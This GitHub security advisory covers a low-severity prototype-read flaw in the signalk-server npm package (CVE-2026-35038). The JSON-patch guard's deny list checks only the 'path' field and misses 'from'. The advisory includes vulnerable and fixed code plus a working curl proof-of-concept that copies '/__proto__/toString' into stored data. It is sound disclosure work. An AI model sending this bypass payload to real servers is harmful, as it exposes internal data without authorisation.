GitHub Advisoryadvisory · npm

GHSA-qh3j-mrg8-f234 Signal K Server: Arbitrary Prototype Read via `from` Field Bypass

LOW Published 2026-04-03 Modified 2026-04-03 Official page ↗
Aliases
CVE-2026-35038
Ecosystem
npm
Packages
signalk-server
Severity
Low
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P
Weaknesses
CWE-125, CWE-20, CWE-200
Reviewed
2026-04-03

Affected packages

• npm signalk-server: < 2.24.0 → fixed in 2.24.0

Description

Summary The /signalk/v1/applicationData/... JSON-patch endpoint allows users to modify stored application data. To prevent Prototype Pollution, the developers implemented an isPrototypePollutionPath guard. However, this guard only checks the path property of incoming JSON-patch objects. It completely fails to check the from property. Because JSON-patch operations like copy and move extract data using the from property path, an attacker can construct a payload where from targets /__proto__/someProperty, completely evading the security check and successfully executing an Arbitrary Prototype Read. While this does not allow arbitrary code execution (as the destination path remains protected from __proto__), it does allow a user to exfiltrate internal Node functions and prototype state into their own application data. Vulnerability Root Cause File: src/interfaces/applicationData.js (Lines 48-57) ``` const DANGEROUS_PATH_SEGMENTS = ['__proto__', 'constructor', 'prototype'] function isPrototypePollutionPath(pathString) { const segments = pathString.split(/[./]/) return segments.some((seg) => DANGEROUS_PATH_SEGMENTS.includes(seg)) } function hasPrototypePollutionPatch(patches) { return patches.some( // [!VULNERABLE] Only checks patch.path, completely ignores patch.from (patch) => patch.path && isPrototypePollutionPath(patch.path) ) } ``` At Line 201: ``` if (hasPrototypePollutionPatch(req.body)) { res.status(400).send('invalid patch path') return } jsonpatch.apply(applicationData, req.body) // jsonpatch natively resolves 'from' ``` Proof of Concept (PoC) Verify the Developer Guard Works (The Blocked Payload): ``` curl -X POST http://localhost:3000/signalk/v1/applicationData/global/testapp/1.0 \ -H "Content-Type: application/json" \ -H "Authorization: Bearer $TOKEN" \ -d '[{"op": "add", "path": "/__proto__/polluted", "value": "hacked"}]' ``` Result: 400 Bad Request - invalid patch path Execute the Bypass (The Malicious Payload): ``` curl -X POST http://localhost:3000/signalk/v1/applicationData/global/testapp/1.0 \ -H "Content-Type: application/json" \ -H "Authorization: Bearer $TOKEN" \ -d '[{"op": "copy", "from": "/__proto__/toString", "path": "/stolen"}]' ``` Result: 200 OK - ApplicationData saved The security guard is bypassed and the json-patch engine successfully copies the __proto__ internal function reference. Security Impact This vulnerability allows a low-privileged authenticated user to bypass prototype boundary filtering to extract internal functions and properties from the global prototype object this violates data isolation and lets a user read more than they should. Fixing Arbitrary Prototype Read The hasPrototypePollutionPatch function must be updated to inspect ALL path-related fields: ``` function hasPrototypePollutionPatch(patches) { return patches.some( (patch) => (patch.path && isPrototypePollutionPath(patch.path)) || (patch.from && isPrototypePollutionPath(patch.from)) ) } ```

Related

Alias · CVE (1)

  • CVE-2026-35038 Signal K Server is a server application that runs on a central hub in a boat. vulnerability

Weakness · CWE (3)

  • CWE-125 Out-of-bounds Read weakness
  • CWE-20 Improper Input Validation weakness
  • CWE-200 Exposure of Sensitive Information to an Unauthorized Actor weakness

References